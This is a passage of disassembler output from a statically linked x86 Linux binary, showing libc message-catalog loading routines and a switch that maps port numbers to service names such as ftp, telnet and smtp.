		cmp	[edi+0Ch], esi
		jle	short loc_805E623
		mov	dword ptr [ebp-4], 0
		nop

loc_805E5F8:				; CODE XREF: .text:0805E621j
		mov	ebx, [ebp-4]
		add	ebx, [edi+10h]
		cmp	dword ptr [ebx+18h], 0
		jnz	short loc_805E619
		mov	eax, [ebx+0Ch]
		push	eax
		call	free
		mov	eax, [ebx+8]
		push	eax
		call	free
		add	esp, 8

loc_805E619:				; CODE XREF: .text:0805E602j
		add	dword ptr [ebp-4], 1Ch
		inc	esi
		cmp	[edi+0Ch], esi
		jg	short loc_805E5F8

loc_805E623:				; CODE XREF: .text:0805E5EEj
		mov	eax, [edi+10h]
		push	eax
		call	free
		push	edi
		call	free
		xor	eax, eax

loc_805E634:				; CODE XREF: .text:0805E5D2j
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E640	proc near		; CODE XREF: catopen+2D8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	18h
		call	malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_805E66C
		mov	eax, 0FFFFFFFFh
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E66C:				; CODE XREF: sub_805E640+1Dj
		mov	[esi], ebx
		push	0
		push	edi
		call	__libc_open
		mov	[esi+4], eax
		add	esp, 8
		test	eax, eax
		jge	short loc_805E688
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E688:				; CODE XREF: sub_805E640+3Ej
		push	0
		mov	eax, [esi+4]
		push	eax
		push	1
		push	1
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+14h]
		mov	[esi+8], eax
		push	eax
		push	0
		call	mmap
		mov	ebx, eax
		add	esp, 18h
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_805E6C0
		mov	eax, [esi+4]
		push	eax
		call	__libc_close
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E6C0:				; CODE XREF: sub_805E640+6Bj
		mov	eax, [esi+4]
		push	eax
		call	__libc_close
		add	esp, 4
		cmp	dword ptr [esi+8], 1Bh
		jbe	loc_805E7F8
		push	8
		push	offset aNazgul	; "*nazgul*"
		mov	[esi+4], ebx
		push	ebx
		call	strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_805E7F8
		mov	eax, [esi+4]
		cmp	dword ptr [eax+8], 1
		jz	short loc_805E71C
		push	1
		mov	eax, [eax+8]
		push	eax
		push	edi
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSSIsVersionDWe ; "%s: %s is version %d,	we need	%d.\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E71C:				; CODE XREF: sub_805E640+B8j
		mov	eax, [esi+4]
		cmp	dword ptr [eax+14h], 0
		jg	short loc_805E748
		mov	eax, [eax+14h]
		push	eax
		push	edi
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSSHasDSets ; "%s: %s has %d sets!\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		xor	eax, eax
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E748:				; CODE XREF: sub_805E640+E3j
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		mov	[esi+0Ch], eax
		mov	eax, [esi+4]
		mov	eax, [eax+14h]
		lea	edx, [eax+eax*2]
		lea	edx, [edx+edx*8]
		add	eax, edx
		push	eax
		call	malloc
		mov	[esi+10h], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E790

loc_805E76F:				; CODE XREF: sub_805E640+1B2j
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSNoMoreMemory_ ; "%s: no more memory.\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		mov	eax, 0FFFFFFFFh
		jmp	loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E790:				; CODE XREF: sub_805E640+12Dj
		mov	eax, [esi+4]
		mov	edx, [eax+18h]
		xor	edi, edi
		cmp	[esi+0Ch], edi
		jle	loc_805E824
		mov	[ebp+var_4], 0

loc_805E7A8:				; CODE XREF: sub_805E640+1E2j
		cmp	[esi+8], edx
		jl	short loc_805E7F8
		mov	ebx, [ebp+var_4]
		add	ebx, [esi+10h]
		lea	eax, [edx+1Ch]
		cmp	[esi+8], eax
		jb	short loc_805E7F8
		push	1Ch
		push	ebx
		mov	eax, edx
		add	eax, [esi+4]
		push	eax
		call	bcopy
		add	esp, 0Ch
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_805E7DC
		add	[ebp+var_4], 0FFFFFFE4h
		dec	edi
		jmp	short loc_805E817
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E7DC:				; CODE XREF: sub_805E640+190j
		cmp	dword ptr [esi], 1
		jnz	short loc_805E810
		push	ebx
		push	esi
		call	sub_805E844
		add	esp, 8
		test	eax, eax
		jg	short loc_805E817
		cmp	eax, 0FFFFFFFFh
		jz	loc_805E76F

loc_805E7F8:				; CODE XREF: sub_805E640+90j
					; sub_805E640+ABj ...
		push	offset aMessageCatalog ; "Message Catalog System"
		push	offset aSCorruptFile_ ;	"%s: corrupt file.\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		xor	eax, eax
		jmp	short loc_805E838
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E810:				; CODE XREF: sub_805E640+19Fj
		mov	dword ptr [ebx+18h], 0FFFFFFFFh

loc_805E817:				; CODE XREF: sub_805E640+197j
					; sub_805E640+1ADj
		mov	edx, [ebx+4]
		add	[ebp+var_4], 1Ch
		inc	edi
		cmp	[esi+0Ch], edi
		jg	short loc_805E7A8

loc_805E824:				; CODE XREF: sub_805E640+15Bj
		cmp	dword ptr [esi], 1
		jnz	short loc_805E836
		mov	eax, [esi+8]
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	__libc_munmap

loc_805E836:				; CODE XREF: sub_805E640+1E7j
		mov	eax, esi

loc_805E838:				; CODE XREF: sub_805E640+24j
					; sub_805E640+42j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E640	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E844	proc near		; CODE XREF: sub_805E3FC+BFp
					; sub_805E640+1A3p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+0Ch]
		mov	[ebp+var_4], edx
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		call	malloc
		mov	ecx, [ebp+arg_4]
		mov	[ecx+0Ch], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_805E8D5
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		add	eax, [edx+10h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx+4]
		push	eax
		call	bcopy
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	eax
		call	malloc
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E8E0

loc_805E8D5:				; CODE XREF: sub_805E844+31j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805E948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E8DC:				; CODE XREF: sub_805E844+18j
					; sub_805E844+42j ...
		xor	eax, eax
		jmp	short loc_805E948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E8E0:				; CODE XREF: sub_805E844+8Fj
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jle	short loc_805E939
		xor	esi, esi

loc_805E8EC:				; CODE XREF: sub_805E844+F3j
		mov	ebx, esi
		mov	ecx, [ebp+arg_4]
		add	ebx, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	edx, [ebp+arg_0]
		cmp	[edx+8], eax
		jb	short loc_805E8DC
		push	0Ch
		push	ebx
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		add	eax, esi
		push	eax
		call	bcopy
		add	esp, 0Ch
		cmp	dword ptr [ebx+8], 0
		jz	short loc_805E924
		add	esi, 0FFFFFFF4h
		dec	edi
		jmp	short loc_805E92D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805E924:				; CODE XREF: sub_805E844+D6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+0Ch]
		add	[ebx+4], ecx

loc_805E92D:				; CODE XREF: sub_805E844+DCj
		add	esi, 0Ch
		inc	edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jg	short loc_805E8EC

loc_805E939:				; CODE XREF: sub_805E844+A4j
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], 0
		mov	eax, 1

loc_805E948:				; CODE XREF: sub_805E844+96j
					; sub_805E844+9Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E844	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000002D BYTES: COLLAPSED FUNCTION libc_nls_init. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000031 BYTES: COLLAPSED FUNCTION inet_ntoa. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805E9B8	proc near		; CODE XREF: sub_805F7E4+753p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-5]	; switch 166 cases 
		cmp	eax, 0A5h
		ja	loc_805EE88	; default
		jmp	ds:off_805E9D4[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_805E9D4	dd offset loc_805EC6C, offset loc_805EE88, offset loc_805EC78
					; DATA XREF: sub_805E9B8+14r
		dd offset loc_805EE88, offset loc_805EC84, offset loc_805EE88 ;	jump table for switch statement
		dd offset loc_805EC90, offset loc_805EE88, offset loc_805EC9C
		dd offset loc_805EE88, offset loc_805ECA8, offset loc_805EE88
		dd offset loc_805ECB4, offset loc_805EE88, offset loc_805ECC0
		dd offset loc_805ECCC, offset loc_805ECD8, offset loc_805EE88
		dd offset loc_805ECE4, offset loc_805EE88, offset loc_805ECF0
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805ECFC
		dd offset loc_805EE88, offset loc_805ED08, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805ED14, offset loc_805ED20
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805ED2C, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805ED38, offset loc_805EE88
		dd offset loc_805ED44, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805ED50
		dd offset loc_805ED5C, offset loc_805ED68, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EC6C, offset loc_805EE88, offset loc_805ED74
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805ED80, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805ED8C, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805ED98
		dd offset loc_805EDA4, offset loc_805EDB0, offset loc_805EDBC
		dd offset loc_805EDC8, offset loc_805EDD4, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EDE0
		dd offset loc_805EE88, offset loc_805EDEC, offset loc_805EE88
		dd offset loc_805EDF8, offset loc_805EE88, offset loc_805EE04
		dd offset loc_805EE88, offset loc_805EE10, offset loc_805EE88
		dd offset loc_805EE1C, offset loc_805EE88, offset loc_805EE28
		dd offset loc_805EE88, offset loc_805EE34, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE40
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE4C
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE58, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE64, offset loc_805EE70, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE88, offset loc_805EE88, offset loc_805EE88
		dd offset loc_805EE7C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC6C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aRje ; case	0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EC78:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aEcho ; case 0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EC84:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDiscard ; case 0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EC90:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSystat ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EC9C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDaytime ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECA8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNetstat ; case 0xf
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECB4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aQotd ; case 0x11
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECC0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aChargen ; case 0x13
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECCC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFtpData ; case 0x14
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECD8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFtp ; case	0x15
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECE4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTelnet ; case 0x17
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECF0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSmtp ; case 0x19
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ECFC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTime ; case 0x25
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED08:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aRlp ; case	0x27
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED14:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aName ; case 0x2a
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED20:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aWhois ; case 0x2b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED2C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDomain_0 ;	case 0x35
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED38:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aApts ; case 0x39
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED44:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aApfs ; case 0x3b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED50:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aBootps ; case 0x43
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED5C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aBootpc ; case 0x44
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED68:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTftp ; case 0x45
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED74:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFinger ; case 0x4f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED80:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aLink ; case 0x57
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED8C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSupdup ; case 0x5f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805ED98:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNewacct ; case 0x64
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDA4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aHostnames ; case 0x65
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDB0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aIsoTsap ; case 0x66
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDBC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aX400 ; case 0x67
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDC8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aX400Snd ; case 0x68
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDD4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aCsnetNs ; case 0x69
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDE0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aPop2 ; case 0x6d
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDEC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSunrpc ; case 0x6f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EDF8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aAuth ; case 0x71
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE04:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSftp ; case 0x73
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE10:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aUucpPath ;	case 0x75
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE1C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNntp ; case 0x77
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE28:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aErpc ; case 0x79
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE34:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNtp ; case	0x7b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE40:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aStatsrv ; case 0x85
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE4C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aProfile ; case 0x88
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE58:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNews ; case 0x90
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE64:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSnmp ; case 0xa1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE70:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSnmpTrap ;	case 0xa2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE7C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aPrintSrv ;	case 0xaa
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EE88:				; CODE XREF: sub_805E9B8+Ej
					; sub_805E9B8+14j
					; DATA XREF: ...
		push	edx		; default
		push	offset aD_0	; "%d"
		push	offset unk_807E3B0
		call	sprintf
		mov	eax, offset unk_807E3B0
		mov	esp, ebp
		pop	ebp
		retn
sub_805E9B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805EEA4	proc near		; CODE XREF: sub_805F7E4+6F9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-1]	; switch 17 cases 
		cmp	eax, 10h
		ja	loc_805EF94	; default
		jmp	ds:off_805EEC0[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_805EEC0	dd offset loc_805EF04	; DATA XREF: sub_805EEA4+12r
		dd offset loc_805EF10	; jump table for switch	statement
		dd offset loc_805EF1C
		dd offset loc_805EF94
		dd offset loc_805EF28
